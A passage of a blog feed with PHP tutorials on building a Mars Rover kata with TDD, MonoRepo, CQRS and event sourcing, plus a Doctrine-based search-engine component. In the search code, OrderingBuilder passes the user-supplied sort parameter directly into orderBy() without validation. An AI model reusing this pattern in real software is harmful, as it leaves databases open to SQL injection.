        if (false === in_array($orientation, self::VALID_ORIENTATIONS, true)) {
            throw new \InvalidArgumentException(
                'Orientation must be one of: '
                .implode(', ', self::VALID_ORIENTATIONS)
            );
        }
        $this-&gt;orientation = $orientation;
    }

    public function getX() : int
    {
        return $this-&gt;x;
    }

    public function getY() : int
    {
        return $this-&gt;y;
    }

    public function getOrientation() : string
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>Let's run the tests again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can now commit our work:</p>

<pre><code>git add -A
git commit -m '2: Created LandRover'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've followed the first steps of TDD: write a test then write the code.</p>

<p>Using phpspec makes this process easier as the code gets bootstrapped for us
once we've written the test.</p>

<p>Since we write those tests first, in a descriptive way (test method names
are sentences), we can use them as runnable self-checking specifications!
phpspec allows us to display them explicitly:</p>

<pre><code>vendor/bin/phpspec run --format=pretty
</code></pre>

<p>This should display:</p>

<pre><code><br />      MarsRover\Navigation\LandRover

  13  ✔ has x coordinate
  24  ✔ cannot have non integer x coordinate
  37  ✔ has y coordinate
  48  ✔ cannot have non integer y coordinate
  61  ✔ has an orientation
  72  ✔ cannot have a non cardinal orientation


1 specs
6 examples (6 passed)
10ms
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>navigation</code> tests can also be run from the MonoRepo:</p>

<pre><code>cd ../../
composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>
</blockquote>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article we'll complete the TDD cycle by refactoring <code>LandRover</code>:
we'll extract <code>x</code> and <code>y</code> coordinates into their own class.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Initialization]]></title>
            <link href="/2016/06/22/mars-rover-initialization.html"/>
            <updated>2016-06-22T00:00:00+01:00</updated>
            <id>/2016/06/22/mars-rover-initialization.html</id>
            <content type="html"><![CDATA[<p>In this series we're going to build the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>But first, we need to initialize our project.</p>

<h2 id="creating-the-repository">Creating the repository</h2>

<p>Let's start by creating a new git repository:</p>

<pre><code>mkdir rover
cd rover
git init
</code></pre>

<p>Since we're going to use <a href="https://getcomposer.org/">Composer</a>, we can create
a <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/mars-rover",
    "license": "MIT",
    "type": "project",
    "description": "Mars Rover",
    "require": {
        "php": "^7.0"
    }
}
</code></pre>

<p>We're then going to ignore some third party library related stuff by
creating <code>.gitignore</code>:</p>

<pre><code># Third Party libraries
/vendor/
</code></pre>

<p>With this we've finished creating our repository. We can run composer:</p>

<pre><code>composer install --optimize-autoloader
</code></pre>

<p>That should be enough for a first commit:</p>

<pre><code>git add composer.json .gitignore
git commit -m '0: Created project'
</code></pre>

<h2 id="creating-the-%60navigation%60-package">Creating the <code>navigation</code> package</h2>

<p>By having a look at the <a href="/2016/06/15/mars-rover-introduction.html#identifying-use-cases">use cases</a>,
we can see that there's going to be "write-only" dedicated ones and "read-only"
dedicated ones:</p>

<ol>
<li>Landing a Rover on Mars: is write only</li>
<li>Driving a Rover: is write only</li>
<li>Requesting the Rover's location: is read only</li>
</ol>

<p>Since we'd like to follow the CQRS principle, we'll put the "write-only"
logic in a different package than the "read-only" logic. Landing and Driving
is all about navigation, so we'll create a <code>navigation</code> package:</p>

<pre><code>git checkout -b 1-navigation
mkdir -p packages/navigation
cd packages/navigation
</code></pre>

<p>Composer needs us to set up the package by creating a <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/navigation",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Navigation",
    "autoload": {
        "psr-4": { "MarsRover\\Navigation\\": "src/MarsRover/Navigation" }
    },
    "require": {
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>We've decided to use <a href="http://phpspec.net/">phpspec</a> as a test framework, and
to get the most of it we'd like to use its <a href="http://memio.github.io/spec-gen">SpecGen</a>
extension. To do so we need to create the <code>phpspec.yml.dist</code> file:</p>

<pre><code>extensions:
    Memio\SpecGen\MemioSpecGenExtension: ~
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For more information about phpspec
  <a href="/2015/08/03/phpspec.html">see this article</a>.</p>
</blockquote>

<p>Finally, we can configure this package's git by creating a <code>.gitignore</code> file:</p>

<pre><code># Configuration
/phpspec.yml

# Third Party libraries
/vendor/
/composer.lock
</code></pre>

<p>With this we've finished creating our package. We can run Composer:</p>

<pre><code>composer install --optimize-autoloader
</code></pre>

<p>That should be enough for a second commit:</p>

<pre><code>git add -A
git commit -m '1: Created Navigation package'
</code></pre>

<h2 id="adding-%60navigation%60-to-the-project">Adding <code>navigation</code> to the project</h2>

<p>Let's go back to the project's root:</p>

<pre><code>cd ../../
</code></pre>

<p>One benefit of MonoRepos is to be able to run all packages tests in one
command. To do so, we need to require <code>navigation</code> in our project's
<code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/mars-rover",
    "license": "MIT",
    "type": "project",
    "description": "Mars Rover",
    "repositories": [
        {
            "type": "path",
            "url": "./packages/*"
        }
    ],
    "require": {
        "mars-rover/navigation": "*@dev",
        "php": "^7.0"
    }
}
</code></pre>

<p>By default, Composer looks for packages only in <a href="https://packagist.org/">Packagist</a>.
By adding the new <code>repositories</code> section we can tell it to also check locally
in <code>./packages</code>, allowing us to add them in the <code>require</code> section.</p>

<p>Composer needs us to tell it what version of the package we'd like, but in
MonoRepos all packages share the same version, so we simply use <code>*</code> (any).
But to be able to use the latest changes, and not only the tagged one, we
have to specify the development stability (<code>@dev</code>).</p>

<p>Since we've decided to use phpspec for our test, we're also going to need to
require it in the project's development dependencies:</p>

<pre><code>composer require --dev phpspec/phpspec:^3.0
</code></pre>

<p>By default phpspec is going to look for test in the project's root. We need to
create a <code>phpspec.yml.dist</code> file to tell it to use <code>navigation</code>'s ones:</p>

<pre><code>suites:
    navigation:
        namespace: 'MarsRover\Navigation'
        src_path: packages/navigation/src
        spec_path: packages/navigation
</code></pre>

<p>We'll also update <code>.gitignore</code> to ignore local configuration:</p>

<pre><code># Configuration
/phpspec.yml

# Third Party libraries
/vendor/
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
./vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a last commit:</p>

<pre><code>git add -A
git commit -m '1: Added navigation package to main project'
</code></pre>

<p>Let's merge it to master:</p>

<pre><code>git checkout master
git merge --no-ff 1-navigation
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>With Composer we can create many packages inside a single repository. With this
MonoRepo, we can then execute all the tests in one command.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article we'll tackle down the "Landing a Rover on Mars" use case,
allowing us to showcase an example of Event Sourcing and TDD.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Introduction]]></title>
            <link href="/2016/06/15/mars-rover-introduction.html"/>
            <updated>2016-06-15T00:00:00+01:00</updated>
            <id>/2016/06/15/mars-rover-introduction.html</id>
            <content type="html"><![CDATA[<p>Welcome to this Mars Rover series where we're going to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>In this introductory article, we're simply going to describe our Mars Rover
specifications.</p>

<blockquote>
  <p><strong>Note</strong>: This programming exercise originally comes from
  <a href="http://dallashackclub.com/rover">Dallas Hack Club</a>, which is now
  unfortunately down.</p>
  
  <p>This Mars Rover <a href="https://en.wikipedia.org/wiki/Kata_(programming)">kata</a>
  has been adapted for the needs of this series.</p>
</blockquote>

<p>But first, let's have a quick reminder on what the practices mentioned above
are.</p>

<h2 id="monolithic-repositories">Monolithic Repositories</h2>

<p>A MonoRepo is a single versioning repository containing many packages that
would otherwise be versioned in their own repositories.</p>

<p>With it, everything can be found in one place, which makes it easy to:</p>

<ul>
<li>navigate</li>
<li>manage dependencies</li>
<li>set up</li>
<li>run tests</li>
</ul>

<p>However it also brings the following disadvantages:</p>

<ul>
<li>no hard separation between packages (thigh coupling is possible)</li>
<li>limited regarding scaling (disk space, bandwidth)</li>
<li>no finely grain permission management (a user has access to everything
or nothing)</li>
</ul>

<p>MonoRepos make sense for projects that would be packaged / released together
(although it makes it possible to package / release them independently).</p>

<blockquote>
  <p><strong>Note</strong>: Here are some references about MonoRepos:</p>
  
  <ul>
  <li><a href="http://danluu.com/monorepo/">Advantages of a monolithic version control</a></li>
  <li><a href="http://gregoryszorc.com/blog/2014/09/09/on-monolithic-repositories/">On Monolithic Repositories</a></li>
  </ul>
</blockquote>

<h2 id="command-%2F-query-responsibility-segregation">Command / Query Responsibility Segregation</h2>

<p>CQRS is about separating "write" logic from "read" logic, and it can be applied
on many levels, for example:</p>

<ul>
<li>have a read-only microservice and a separate write microservice</li>
<li>have endpoints / tasks that are either write or read only</li>
<li>separate your models in two (again, read-only and write-only)</li>
</ul>

<p>It's important to note that CQRS can also be applied <em>partially</em> in the same
project: use it only when it makes sense.</p>

<blockquote>
  <p><strong>Note</strong>: Here are some references about CQRS:</p>
  
  <ul>
  <li><a href="/2015/08/25/cqrs.html">Command / Query Responsibility Segregation</a></li>
  <li><a href="http://martinfowler.com/bliki/CQRS.html">CQRS</a></li>
  <li><a href="http://www.jefclaes.be/2013/02/adding-r-to-cqs-some-storage-options.html">Adding the R to CQS: some storage options</a></li>
  <li><a href="http://udidahan.com/2009/12/09/clarified-cqrs/">Clarified CQRS</a></li>
  <li><a href="http://verraes.net/2014/05/functional-foundation-for-cqrs-event-sourcing/">Functional foundation for CQRS / ES</a></li>
  <li><a href="http://verraes.net/2015/01/messaging-flavours/">Messaging Flavours</a></li>
  <li><a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">Avoiding the Mud</a></li>
  <li><a href="https://medium.com/@benjamindulau/do-not-mistake-ddd-for-cqrs-yeah-but-where-to-start-5595b8e68a4d#.vnh8i8rhb">Do not mistake DDD for CQRS. Yeah but where to start?</a></li>
  <li><a href="https://moquet.net/talks/phptour-2015/">CQRS/ES</a></li>
  <li><a href="http://verraes.net/2013/12/fighting-bottlenecks-with-cqrs/">Fighting Bottlenecks with CQRS</a></li>
  </ul>
</blockquote>

<h2 id="event-sourcing">Event Sourcing</h2>

<p>With ES, every significant action is recorded as an "event". Keeping track of
those events provides the following advantages:</p>

<ul>
<li>replay them to recreate the state of an application at a given time
(undo, redo, synchronization)</li>
<li>analyse how the latest state came to be (compare two versions or find who did
what and when)</li>
</ul>

<p>Just like with CQRS, it's important to note that ES can also be applied
<em>partially</em> inside a project : use it only when it makes sense.</p>

<p>ES is often associated to CQRS, but they can be used separately.</p>

<blockquote>
  <p><strong>Note</strong>: Here are some references about ES:</p>
  
  <ul>
  <li><a href="https://martin.kleppmann.com/2015/05/27/logs-for-data-infrastructure.html">Using logs to build a solid data infrastructure or: why dual writes are a bad idea</a></li>
  <li><a href="http://martinfowler.com/eaaDev/EventSourcing.html">Event Sourcing</a></li>
  <li><a href="http://verraes.net/2014/03/practical-event-sourcing.markdown/">Practical Event Sourcing</a></li>
  <li><a href="https://moquet.net/talks/phptour-2015/">CQRS/ES</a></li>
  <li><a href="http://verraes.net/2013/12/fighting-bottlenecks-with-cqrs/">Fighting Bottlenecks with CQRS</a></li>
  <li><a href="http://verraes.net/2014/05/functional-foundation-for-cqrs-event-sourcing/">Functional foundation for CQRS / ES</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/07/meeting-the-broadway-team/">Meeting the Broadway team - talking DDD, CQRS and event sourcing</a></li>
  </ul>
</blockquote>

<h2 id="test-driven-development">Test Driven Development</h2>

<p>TDD can be summed up in the following steps when developing:</p>

<ol>
<li>create a test</li>
<li>then write just enough code to make the test pass (quick and dirty, or
"make it work")</li>
<li>then refactor the code (clean, or "make it right")</li>
</ol>

<p>Writing the test before the code forces us to think about how we'd like the
future code to be <em>used</em>. It's like writing specifications, but with 3
purposes: design, documentation and automated regression checking.</p>

<p>This discipline makes it easy to have a high code coverage (although rigour
still needs to be applied: we need to test all the happy paths and all the
unhappy ones).</p>

<blockquote>
  <p><strong>Note</strong>: Here are some references about TDD:</p>
  
  <ul>
  <li><a href="http://codemanship.co.uk/parlezuml/blog/?postid=1170">Straw man TDD</a></li>
  <li><a href="http://codemanship.co.uk/parlezuml/blog/?postid=1202">Coverage!!!</a></li>
  <li><a href="http://blog.testdouble.com/posts/2014-01-25-the-failures-of-intro-to-tdd.html">The Failures of "Intro to TDD"</a></li>
  <li><a href="http://tech.mybuilder.com/coupling-tests/">TDD, avoid testing implementation details</a></li>
  <li><a href="http://blog.8thlight.com/uncle-bob/2014/04/25/MonogamousTDD.html">Monogamous TDD</a></li>
  <li><a href="http://blog.8thlight.com/uncle-bob/2014/04/30/When-tdd-does-not-work.html">When TDD doesn't work</a></li>
  <li><a href="http://codurance.com/2015/05/12/does-tdd-lead-to-good-design/">Does TDD really lead to good design?</a></li>
  <li><a href="http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html">TDD is dead, long live testing</a></li>
  <li><a href="http://www.daedtech.com/what-tdd-is-and-is-not/">What TDD is and is not</a></li>
  <li><a href="https://vimeo.com/68375232">TDD, where it all went wrong</a></li>
  <li><a href="https://medium.com/@davidihunt/tdd-and-complexity-1bbd5ca51ee7#.4mzrdro57">TDD and Complexity</a></li>
  <li><a href="http://blog.cleancoder.com/uncle-bob/2016/03/19/GivingUpOnTDD.html">Giving up on TDD</a></li>
  </ul>
</blockquote>

<h2 id="specifications">Specifications</h2>

<p>The purpose of this series is to create the software of a Mars Rover, according
to the following specifications.</p>

<p>Mars Rovers need first to be landed at a given position. A position is composed
of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an orientation
(a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>

<p>It is then possible to drive them, using instructions such as <code>move_forward</code>
(keeps orientation, but moves along the <code>x</code> or <code>y</code> axis) or
<code>turn_left</code> / <code>turn_right</code> (keeps the same coordinates, but changes the
orientation).</p>

<p>From time to time, they'll be requested to give their current location
(again, <code>x</code> and <code>y</code> coordinates and the orientation).</p>

<p>For example, a rover can be landed at <code>23</code>, <code>42</code>, <code>north</code> and then can be
instructed to move forward twice, then to turn left, then to move forward once.
When requested to, it should provide this location: <code>22</code>, <code>44</code>, <code>west</code>.</p>

<h2 id="identifying-use-cases">Identifying use cases</h2>

<p>From the above specifications, we can identify at least three use cases:</p>

<ol>
<li>Landing a Rover on Mars</li>
<li>Driving the rover</li>
<li>Requesting its location</li>
</ol>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article we'll initialize the project by creating the MonoRepo and
its first package: <code>navigation</code>.</p>

<blockquote>
  <p><strong>Note</strong> We'll be using:</p>
  
  <ul>
  <li>PHP 7</li>
  <li><a href="https://getcomposer.org">Composer</a></li>
  <li>git</li>
  <li><a href="http://phpspec.net/">phpspec</a>
  and its <a href="http://memio.github.io/spec-gen">SpecGen extension</a></li>
  </ul>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Towards CQRS, Search Engine]]></title>
            <link href="/2016/05/18/towards-cqrs-search-engine.html"/>
            <updated>2016-05-18T00:00:00+01:00</updated>
            <id>/2016/05/18/towards-cqrs-search-engine.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: A <code>Search Engine</code> component can help you get the CQRS "Query" part right.</p>
</blockquote>

<p>The <a href="http://martinfowler.com/bliki/CQRS.html">Command / Query Responsibility Segregation</a>
(CQRS) principle states that "write" and "read" logic should be separated.
For example a single "Publisher" server (write) with many "Subscribers" servers
(read) is a macro example of applying this principle, and an API that defines
a read endpoint free from write side effects is a micro example of applying it.</p>

<p>Because it's hard to go from a regular mindset to a CQRS one, we've seen in the
last article how we can use <a href="/2016/05/11/towards-cqrs-command-bus.html">the Command Bus pattern</a>
to help us get the Command part right.</p>

<p>The "Query" equivalent of the Command Bus would be the <a href="http://code.tutsplus.com/tutorials/the-repository-design-pattern--net-35804">Repository design pattern</a>.</p>

<blockquote>
  <p><strong>Note</strong>: Here's some nice articles about this pattern:</p>
  
  <ul>
  <li><a href="http://martinfowler.com/eaaCatalog/gateway.html">Gateway</a></li>
  <li><a href="http://mnapoli.fr/repository-interface/">Refactoring code that accesses external services</a></li>
  <li><a href="http://martinfowler.com/articles/refactoring-external-service.html">The Repository interface</a></li>
  <li><a href="http://mnapoli.fr/collection-interface-and-database-abstraction/">The Collection interface and Database abstraction</a></li>
  </ul>
</blockquote>

<p>However repositories can grow into an object containing many methods like
<code>findByName</code>, <code>findAllInDescendingOrder</code>, <code>findByNameInDescendingOrder</code>, etc.
To avoid this, we can combine it with the <a href="https://en.wikipedia.org/wiki/Specification_pattern">Specification design pattern</a>:
our Repository would only have one single <code>search</code> method taking a Criteria object
that describes our query parameters.</p>

<blockquote>
  <p><strong>Note</strong>: For more articles on the topic, see:</p>
  
  <ul>
  <li><a href="http://dev.imagineeasy.com/post/44139111915/taiming-repository-classes-in-doctrine-with-the">Taiming repository classes in Doctrine with the QueryBuilder</a></li>
  <li><a href="http://www.whitewashing.de/2013/03/04/doctrine_repositories.html">On Taming Repository Classes in Doctrine</a></li>
  <li><a href="http://blog.kevingomez.fr/2015/02/07/on-taming-repository-classes-in-doctrine-among-other-things/">On Taming Repository Classes in Doctrine… Among other things</a></li>
  <li><a href="http://blog.kevingomez.fr/2015/03/14/rulerz-specifications-and-symfony-are-in-a-boat/">RulerZ, specifications and Symfony are in a boat</a></li>
  </ul>
</blockquote>

<p>In this article, we'll build a private "Search Engine" component to help us get
the Query part right.</p>

<h2 id="requirements">Requirements</h2>

<p>All projects are different, and while the feature described here might have some
similarity with other projects requirements, there's a big chance that creating
a single common library might prove too hard.</p>

<p>So instead we'll create a "private" Component for our project: it's going to be
decoupled, allowing it to become a library on its own just in the unlikely event
it turns out to be the "Universal Search Engine Component".</p>

<p>Our requirements will be the following: we need to create an endpoint that allows
us to search "profiles", with the following features:</p>

<ul>
<li>it has to be paginated (default page = <code>1</code>, default number of profiles per page = <code>10</code>)</li>
<li>it has to be ordered (default field = <code>name</code>, default direction = <code>ASC</code>)</li>
<li>it can be filtered</li>
</ul>

<p>Here's a HTTP Request example:</p>

<pre><code>GET /v1/profiles?name=marvin&amp;page=42&amp;per_page=23&amp;sort=-name HTTP/1.1
Accept: application/json
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>sort</code>'s value can be either <code>name</code> (the default) or <code>-name</code>
  (changes the direction to be descending).</p>
</blockquote>

<p>And here's a HTTP Response example:</p>

<pre><code>HTTP/1.1 200 OK
Content-Type: application/json

{
    "items": [
        {
            "name": "Arthur Dent"
        },
        {
            "name": "Ford Prefect"
        },
        {
            "name": "Trillian Astra"
        }
    ],
    "page": {
        "current_page": 1,
        "per_page": 10,
        "total_elements": 3,
        "total_pages": 1
    }
}
</code></pre>

<h2 id="the-search-engine-component">The Search Engine component</h2>

<p>In order to satisfy the above requirements, we need to create a flexible
Search Engine component that can accept any of those parameters. That can be done
in one interface and a few (4) value objects.</p>

<p>First, we can have a <code>SearchEngine</code> interface:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Search;

use Porpaginas\Result;

interface SearchEngine
{
    public function match(Criteria $criteria) : Result;
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We're using <a href="https://github.com/beberlei/porpaginas">porpaginas</a>,
  a  library that makes paginated result a breeze to handle.
  <a href="/2015/11/05/porpaginas.html">Find out more about it here</a>.</p>
</blockquote>

<p>A <code>Criteria</code> is a value object, composed of:</p>

<ul>
<li>a resource name (e.g. <code>profile</code>)</li>
<li>a <code>Paginating</code> value object</li>
<li>an <code>Ordering</code> value object</li>
<li>a <code>Filtering</code> value object</li>
</ul>

<p>It can be constructed using the query parameters:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Search;

use AppBundle\Search\Criteria\Filtering;
use AppBundle\Search\Criteria\Ordering;
use AppBundle\Search\Criteria\Paginating;

class Criteria
{
    public $resourceName;
    public $filtering;
    public $ordering;
    public $paginating;

    public function __construct(
        string $resourceName,
        Filtering $filtering,
        Ordering $ordering,
        Paginating $paginating
    ) {
        $this-&gt;resourceName = $resourceName;
        $this-&gt;filtering = $filtering;
        $this-&gt;ordering = $ordering;
        $this-&gt;paginating = $paginating;
    }

    public static function fromQueryParameters(string $resourceName, array $queryParameters) : self
    {
        return new self(
            $resourceName,
            Filtering::fromQueryParameters($queryParameters),
            Ordering::fromQueryParameters($queryParameters),
            Paginating::fromQueryParameters($queryParameters)
        );
    }
}
</code></pre>

<p>The <code>Paginating</code> value object takes care of the <code>page</code> parameter (e.g. <code>1</code>) and
the <code>per_page</code> parameter (e.g. <code>10</code>):</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Search\Criteria;

class Paginating
{
    const DEFAULT_CURRENT_PAGE = 1;
    const DEFAULT_ITEMS_PER_PAGE = 10;

    public $currentPage;
    public $itemsPerPage;
    public $offset;

    public function __construct(int $currentPage, int $itemsPerPage)
    {
        $this-&gt;currentPage = $currentPage;
        if ($this-&gt;currentPage &lt;= 0) {
            $this-&gt;currentPage = self::DEFAULT_CURRENT_PAGE;
        }
        $this-&gt;itemsPerPage = $itemsPerPage;
        if ($this-&gt;itemsPerPage &lt;= 0) {
            $this-&gt;itemsPerPage = self::DEFAULT_ITEMS_PER_PAGE;
        }
        $this-&gt;offset = $this-&gt;currentPage * $this-&gt;itemsPerPage - $this-&gt;itemsPerPage;
    }

    public static function fromQueryParameters(array $queryParameters) : self
    {
        $currentPage = $queryParameters['page'] ?? self::DEFAULT_CURRENT_PAGE;
        $maximumResults = $queryParameters['per_page'] ?? self::DEFAULT_ITEMS_PER_PAGE;

        return new self($currentPage, $maximumResults);
    }
}
</code></pre>

<p>The <code>Ordering</code> value object takes care of the <code>sort</code> parameter (e.g. <code>-name</code>):</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Search\Criteria;

class Ordering
{
    const DEFAULT_FIELD = 'name';
    const DEFAULT_DIRECTION = 'ASC';

    public $field;
    public $direction;

    public function __construct(string $field, string $direction)
    {
        $this-&gt;field = $field;
        $this-&gt;direction = $direction;
    }

    public static function fromQueryParameters(array $queryParameters) : self
    {
        $column = $queryParameters['sort'] ?? self::DEFAULT_FIELD;
        $direction = self::DEFAULT_DIRECTION;
        if ('-' === $column[0]) {
            $direction = 'DESC';
            $column = trim($column, '-');
        }

        return new self($column, $direction);
    }
}
</code></pre>

<p>The <code>Filtering</code> value object takes care of all the other parameters:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Search\Criteria;

class Filtering
{
    public $fields;

    public function __construct(array $fields)
    {
        $this-&gt;fields = $fields;
    }

    public static function fromQueryParameters(array $queryParameters) : self
    {
        $fields = $queryParameters;
        unset($fields['page']);
        unset($fields['per_page']);
        unset($fields['sort']);

        return new self($fields);
    }
}
</code></pre>

<p>With this we have a generic Search Engine. The next step is to provide an
implementation.</p>

<h2 id="a-doctrine-implementation">A Doctrine implementation</h2>

<p>All implementations of <code>SearchEngine</code> need to be able to handle many types of
parameters (pagination, filtering, etc).</p>

<p>To <a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">avoid our Doctrine implementation to become a big ball of mud</a>,
we're going to split the work into <code>Builders</code>, which construct the DQL query using
the <code>QueryBuilder</code>:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\DoctrineSearch;

use AppBundle\Search\Criteria;
use AppBundle\Search\SearchEngine;
use Doctrine\DBAL\Connection;
use Doctrine\DBAL\Query\QueryBuilder;
use Porpaginas\Result;

class DoctrineSearchEngine implements SearchEngine
{
    private $connection;
    private $builders = [];

    public function __construct(Connection $connection)
    {
        $this-&gt;connection = $connection;
    }

    public function add(Builder $builder)
    {
        $this-&gt;builders[] = $builder;
    }

    public function match(Criteria $criteria) : Result
    {
        $queryBuilder = new QueryBuilder($this-&gt;connection);
        foreach ($this-&gt;builders as $builder) {
            if (true === $builder-&gt;supports($criteria)) {
                $builder-&gt;build($criteria, $queryBuilder);
            }
        }

        return new DoctrineResult($queryBuilder);
    }
}
</code></pre>

<p>Here's the <code>Builder</code> interface:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\DoctrineSearch;

use AppBundle\Search\Criteria;
use Doctrine\DBAL\Query\QueryBuilder;

interface Builder
{
    public function supports(Criteria $criteria) : bool;
    public function build(Criteria $criteria, QueryBuilder $queryBuilder);
}
</code></pre>

<p>We're not going to execute the query immediately, we're instead going to return
the <code>QueryBuilder</code> wrapped in a <code>Result</code> implementation: this will allow us to
choose between getting all the profiles or only getting a subset:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\DoctrineSearch;

use Doctrine\DBAL\Query\QueryBuilder;
use Porpaginas\Result;

class DoctrineResult implements Result
{
    private $queryBuilder;

    public function __construct(QueryBuilder $queryBuilder)
    {
        $this-&gt;queryBuilder = $queryBuilder;
    }

    public function take($offset, $limit)
    {
        $queryBuilder = clone $this-&gt;queryBuilder;
        $queryBuilder-&gt;setFirstResult($offset);
        $queryBuilder-&gt;setMaxResults($limit);
        $statement = $queryBuilder-&gt;execute();

        return new IteratorPage($statement-&gt;getIterator(), $offset, $limit, $this-&gt;count());
    }

    public function count()
    {
        $queryBuilder = clone $this-&gt;queryBuilder;
        $subSql = $queryBuilder-&gt;getSql();
        $sql = &lt;&lt;&lt;SQL
SELECT count(*) AS count
FROM (
    $subSql
) as sub_query
SQL
        ;
        $result = $queryBuilder-&gt;getConnection()-&gt;fetchAssoc($sql, $queryBuilder-&gt;getParameters());

        return $result['count'] ?? 0;
    }

    public function getIterator()
    {
        $queryBuilder = clone $this-&gt;queryBuilder;
        $statement = $queryBuilder-&gt;execute();

        return $statement-&gt;getIterator();
    }
}
</code></pre>

<p>Finally if a subset is asked, we need to provide our implementation of <code>Page</code>:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\DoctrineSearch;

use Porpaginas\Page;

class IteratorPage implements Page
{
    private $iterator;
    private $offset;
    private $limit;
    private $totalCount;

    public function __construct(\Iterator $iterator, int $offset, int $limit, int $totalCount)
    {
        $this-&gt;iterator = $iterator;
        $this-&gt;offset = $offset;
        $this-&gt;limit = $limit;
        $this-&gt;totalCount = $totalCount;
    }

    public function getCurrentOffset()
    {
        return $this-&gt;offset;
    }

    public function getCurrentPage()
    {
        if (0 === $this-&gt;limit) {
            return 1;
        }

        return floor($this-&gt;offset / $this-&gt;limit) + 1;
    }

    public function getCurrentLimit()
    {
        return $this-&gt;limit;
    }

    public function count()
    {
        return count($this-&gt;iterator);
    }

    public function totalCount()
    {
        return $this-&gt;totalCount;
    }

    public function getIterator()
    {
        return $this-&gt;iterator;
    }
}
</code></pre>

<h2 id="building-our-query">Building our Query</h2>

<p>Now that we have a fully functional Search Engine, we need to create <code>Builders</code>
specific for our need. The first one will be about selecting profiles:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Profile\DoctrineSearch;

use AppBundle\DoctrineSearch\Builder;
use AppBundle\Search\Criteria;
use Doctrine\DBAL\Query\QueryBuilder;

class SelectProfileBuilder implements Builder
{
    public function supports(Criteria $criteria) : bool
    {
        return 'profile' === $criteria-&gt;resourceName;
    }

    public function build(Criteria $criteria, QueryBuilder $queryBuilder)
    {
        $queryBuilder-&gt;select('name');
        $queryBuilder-&gt;from('profile', 'p');
    }
}
</code></pre>

<p>We also need to be able to order our results:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Profile\DoctrineSearch;

use AppBundle\DoctrineSearch\Builder;
use AppBundle\Search\Criteria;
use Doctrine\DBAL\Query\QueryBuilder;

class OrderingBuilder implements Builder
{
    public function supports(Criteria $criteria) : bool
    {
        return true;
    }

    public function build(Criteria $criteria, QueryBuilder $queryBuilder)
    {
        $queryBuilder-&gt;orderBy(
            $criteria-&gt;ordering-&gt;field,
            $criteria-&gt;ordering-&gt;direction
        );
    }
}
</code></pre>

<p>Finally if a name filter is provided we want to apply it:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Profile\DoctrineSearch;

use AppBundle\DoctrineSearch\Builder;
use AppBundle\Search\Criteria;
use Doctrine\DBAL\Query\QueryBuilder;

class ProfileNameFilteringBuilder implements Builder
{
    public function supports(Criteria $criteria) : bool
    {
        return 'profile' === $criteria-&gt;resourceName &amp;&amp; isset($criteria-&gt;filtering-&gt;fields['name']);
    }

    public function build(Criteria $criteria, QueryBuilder $queryBuilder)
    {
        $queryBuilder-&gt;where('p.name LIKE :name');
        $queryBuilder-&gt;setParameter('name', "%{$criteria-&gt;filtering-&gt;fields['name']}");
    }
}
</code></pre>

<h2 id="usage-example">Usage example</h2>

<p>Let's create our controller:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/SearchProfilesController.php

namespace AppBundle\Controller;

use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class SearchProfilesController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"GET"})
     */
    public function searchProfilesAction(Request $request)
    {
        $criteria = Criteria::fromQueryParameters(
            'profile',
